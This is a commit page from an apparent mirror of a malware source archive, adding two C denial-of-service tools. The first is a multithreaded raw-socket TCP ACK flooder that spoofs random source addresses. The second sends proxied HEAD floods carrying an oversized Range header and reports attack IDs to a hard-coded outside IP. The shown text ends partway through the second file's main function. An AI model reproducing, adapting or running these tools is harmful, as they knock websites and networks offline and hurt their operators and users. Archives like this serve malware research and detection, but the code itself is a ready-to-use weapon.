mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Folder structure change, added README
This commit is contained in:
TheDuchy
@@ -0,0 +1,194 @@
|
||||
/*
|
||||
This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = 1;
|
||||
tcph->res2 = 0;
|
||||
tcph->doff = 5;
|
||||
tcph->ack = 1;
|
||||
tcph->window = htons(65535);
|
||||
tcph->check = 0;
|
||||
tcph->urg_ptr = 0;
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons (rand() % 20480);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, ":: cant open raw socket. got root?\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_tcp_header(tcph);
|
||||
tcph->dest = htons (rand() % 20480);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, ":: motherfucking error.\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
tcph->seq = rand_cmwc() & 0xFFFF;
|
||||
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
||||
tcph->check = 0;
|
||||
tcph->check = tcpcsum(iph, tcph);
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <IP> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
int multiplier = 20;
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, ":: sending all the packets..\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,709 @@
|
||||
#include <pthread.h>
|
||||
#include <sys/resource.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#define RND_CHAR (char)((rand() % 26)+97)
|
||||
|
||||
char *useragents[] = {
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
|
||||
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
|
||||
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
|
||||
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
|
||||
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
|
||||
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
|
||||
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
|
||||
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
};
|
||||
#define ATTACKPORT 80
|
||||
//char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
|
||||
char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
|
||||
char *postpayload;
|
||||
struct urlparts {
|
||||
char * name;
|
||||
char separator[4];
|
||||
char value[128];
|
||||
} parts[] = {
|
||||
{ "scheme", ":" },
|
||||
{ "userid", "@" },
|
||||
{ "password", ":" },
|
||||
{ "host", "//" },
|
||||
{ "port", ":" },
|
||||
{ "path", "/" },
|
||||
{ "param", ";" },
|
||||
/*{ "query", "?" },*/
|
||||
{ "fragment", "#" }
|
||||
};
|
||||
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
|
||||
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
|
||||
struct urlparts *returnparts[8];
|
||||
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
|
||||
struct proxy { char *type; char *ip; int port; int working; };
|
||||
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
|
||||
struct list *head = NULL;
|
||||
char parseError[128];
|
||||
int parseURL(char *url, struct urlparts **returnpart);
|
||||
char * strsplit(char * s, char * tok);
|
||||
char firstpunc(char *s);
|
||||
int strleft(char * s, int n);
|
||||
void setupparts();
|
||||
void freeparts();
|
||||
char *stristr(const char *String, const char *Pattern);
|
||||
char *str_replace(char *orig, char *rep, char *with);
|
||||
char *geturl(char *url, char *useragent, char *ip);
|
||||
char *ipstr;
|
||||
unsigned int fnGetIP(char *szHost);
|
||||
static int rps = 0;
|
||||
|
||||
char *fznGenerateRange()
|
||||
{
|
||||
char szBytes[12000] = "0-";
|
||||
char szAdd[12];
|
||||
for (int i = 0; i <= 1299; i++)
|
||||
{
|
||||
sprintf(szAdd, ",5-%d", i);
|
||||
strcat(szBytes, szAdd);
|
||||
bzero(szAdd, 12);
|
||||
}
|
||||
|
||||
return szBytes;
|
||||
}
|
||||
|
||||
void *flood(void *par) {
|
||||
struct list *startpoint = (struct list *)par;
|
||||
int i;
|
||||
struct sockaddr_in serverAddr;
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
while(1)
|
||||
{
|
||||
int sent = 0;
|
||||
if(startpoint->data->working == 0)
|
||||
{
|
||||
startpoint = startpoint->next;
|
||||
usleep(10000);
|
||||
continue;
|
||||
}
|
||||
|
||||
memset(&serverAddr, 0, sizeof(serverAddr));
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(startpoint->data->port);
|
||||
serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
|
||||
int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
u_int yes=1;
|
||||
if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
|
||||
if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
continue;
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "Socks4")==0)
|
||||
{
|
||||
unsigned char buf[10];
|
||||
buf[0] = 0x04;
|
||||
buf[1] = 0x01;
|
||||
*(unsigned short*)&buf[2] = htons(ATTACKPORT);
|
||||
*(unsigned long*)&buf[4] = inet_addr(ipstr);
|
||||
buf[8] = 0x00;
|
||||
if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "Socks5")==0)
|
||||
{
|
||||
unsigned char buf[20];
|
||||
buf[0] = 0x05;
|
||||
buf[1] = 0x01;
|
||||
buf[2] = 0x00;
|
||||
if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
buf[0] = 0x05;
|
||||
buf[1] = 0x01;
|
||||
buf[2] = 0x00;
|
||||
buf[3] = 0x01;
|
||||
*(unsigned long*)&buf[4] = inet_addr(ipstr);
|
||||
*(unsigned short*)&buf[8] = htons(ATTACKPORT);
|
||||
if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
|
||||
{
|
||||
char *connectrequest = malloc(1024);
|
||||
bzero(connectrequest, 1024);
|
||||
sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
|
||||
if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
char *recvbuf = malloc(1024);
|
||||
bzero(recvbuf, 1024);
|
||||
int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
|
||||
if(gotbytes < 1)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
free(recvbuf);
|
||||
}
|
||||
//char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
|
||||
//if(httppayload == NULL)
|
||||
//{
|
||||
// startpoint = startpoint->next;
|
||||
// close(serverSocket);
|
||||
// continue;
|
||||
//}
|
||||
//char *tmp = NULL;
|
||||
//while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
|
||||
/*{
|
||||
*(tmp) = RND_CHAR;
|
||||
*(tmp+1) = RND_CHAR;
|
||||
*(tmp+2) = RND_CHAR;
|
||||
*(tmp+3) = RND_CHAR;
|
||||
*(tmp+4) = RND_CHAR;
|
||||
*(tmp+5) = RND_CHAR;
|
||||
*(tmp+6) = RND_CHAR;
|
||||
*(tmp+7) = RND_CHAR;
|
||||
}
|
||||
*/
|
||||
|
||||
send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
|
||||
//free(httppayload);
|
||||
close(serverSocket);
|
||||
rps++;
|
||||
usleep(50000);
|
||||
//startpoint = startpoint->next;
|
||||
}
|
||||
}
|
||||
|
||||
int fnAttackInformation(int attackID)
|
||||
{
|
||||
char szRecvBuff[1024];
|
||||
char packet[1024];
|
||||
char ip[] = "37.221.170.5";
|
||||
|
||||
snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
|
||||
|
||||
struct sockaddr_in *remote;
|
||||
int sock;
|
||||
int tmpres;
|
||||
|
||||
|
||||
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
|
||||
{
|
||||
perror("Can't create TCP socket");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
|
||||
remote->sin_family = AF_INET;
|
||||
tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
|
||||
|
||||
if (tmpres < 0)
|
||||
{
|
||||
perror("Can't set remote->sin_addr.s_addr");
|
||||
exit(1);
|
||||
}
|
||||
else if (tmpres == 0)
|
||||
{
|
||||
fprintf(stderr, "%s is not a valid IP address\n", ip);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
remote->sin_port = htons(80);
|
||||
|
||||
if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
|
||||
{
|
||||
perror("Could not connect");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
tmpres = send(sock, packet, strlen(packet), 0);
|
||||
|
||||
//printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);
|
||||
|
||||
if (tmpres == -1){
|
||||
perror("Can't send query");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int i = 1;
|
||||
int dwTotal = 0;
|
||||
|
||||
|
||||
while (1)
|
||||
{
|
||||
i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
|
||||
//printf("Received %d bytes\n", i);
|
||||
if (i <= 0)
|
||||
break;
|
||||
|
||||
dwTotal += i;
|
||||
}
|
||||
|
||||
szRecvBuff[dwTotal] = '\0';
|
||||
|
||||
|
||||
//printf("Received -> \n%s\n\n", szRecvBuff);
|
||||
|
||||
|
||||
close(sock);
|
||||
|
||||
//printf("Sent %d bytes\n", tmpres);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[ ]) {
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
//fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[3]);
|
||||
char *method = argv[2];
|
||||
if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
|
||||
{
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
FILE *pFile = fopen(argv[4], "rb");
|
||||
if(pFile==NULL)
|
||||
{
|
||||
perror("fopen"); exit(1);
|
||||
}
|
||||
fseek(pFile, 0, SEEK_END);
|
||||
long lSize = ftell(pFile);
|
||||
rewind(pFile);
|
||||
char *buffer = (char *)malloc(lSize*sizeof(char));
|
||||
fread(buffer, 1, lSize, pFile);
|
||||
fclose (pFile);
|
||||
int i=0;
|
||||
char *pch = (char *)strtok(buffer, ":");
|
||||
while(pch != NULL)
|
||||
{
|
||||
if(head == NULL)
|
||||
{
|
||||
head = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(head, sizeof(struct list));
|
||||
head->data = (struct proxy *)malloc(sizeof(struct proxy));
|
||||
bzero(head->data, sizeof(struct proxy));
|
||||
head->data->working = 1;
|
||||
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
if(pch == NULL) exit(-1);
|
||||
head->data->port = atoi(pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
|
||||
head->next = head;
|
||||
head->prev = head;
|
||||
} else {
|
||||
struct list *new_node = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(new_node, sizeof(struct list));
|
||||
new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
|
||||
bzero(new_node->data, sizeof(struct proxy));
|
||||
new_node->data->working = 1;
|
||||
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
if(pch == NULL) break;
|
||||
new_node->data->port = atoi(pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
|
||||
new_node->prev = head;
|
||||
new_node->next = head->next;
|
||||
head->next = new_node;
|
||||
}
|
||||
}
|
||||
free(buffer);
|
||||
const rlim_t kOpenFD = 1024 + (num_threads * 2);
|
||||
struct rlimit rl;
|
||||
int result;
|
||||
rl.rlim_cur = kOpenFD;
|
||||
rl.rlim_max = kOpenFD;
|
||||
result = setrlimit(RLIMIT_NOFILE, &rl);
|
||||
if (result != 0)
|
||||
{
|
||||
perror("setrlimit");
|
||||
fprintf(stderr, "setrlimit returned result = %d\n", result);
|
||||
}
|
||||
bzero(&rl, sizeof(struct rlimit));
|
||||
rl.rlim_cur = 256 * 1024;
|
||||
rl.rlim_max = 4096 * 1024;
|
||||
result = setrlimit(RLIMIT_STACK, &rl);
|
||||
if (result != 0)
|
||||
{
|
||||
perror("setrlimit_stack");
|
||||
fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
|
||||
}
|
||||
setupparts();
|
||||
parseURL(argv[1], returnparts);
|
||||
if(argc > 6 && !(strcmp(argv[6], "0") == 0))
|
||||
{
|
||||
ipstr = malloc(strlen(argv[6])+1);
|
||||
bzero(ipstr, strlen(argv[6])+1);
|
||||
strcpy(ipstr, argv[6]);
|
||||
//fprintf(stdout, "Using manual IP...\n");
|
||||
} else {
|
||||
struct hostent *he;
|
||||
struct in_addr a;
|
||||
he = gethostbyname(returnparts[host]->value);
|
||||
if (he)
|
||||
{
|
||||
while (*he->h_addr_list)
|
||||
{
|
||||
bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
|
||||
ipstr = malloc(INET_ADDRSTRLEN+1);
|
||||
inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{ herror("gethostbyname"); }
|
||||
}
|
||||
|
||||
|
||||
char *postdata = malloc(1);
|
||||
bzero(postdata, 1);
|
||||
char *extrahead = malloc(1);
|
||||
bzero(extrahead, 1);
|
||||
|
||||
pthread_t thread[num_threads];
|
||||
postpayload = malloc(12001);
|
||||
sprintf(postpayload, postformat, returnparts[host]->value, useragents[rand() % 40], fznGenerateRange());
|
||||
freeparts();
|
||||
|
||||
//printf("Packet -> \n%s\n", postpayload);
|
||||
|
||||
//return 0;
|
||||
|
||||
//fprintf(stdout, "Starting Flood...\n");
|
||||
|
||||
fnAttackInformation(atoi(argv[argc-1]));
|
||||
|
||||
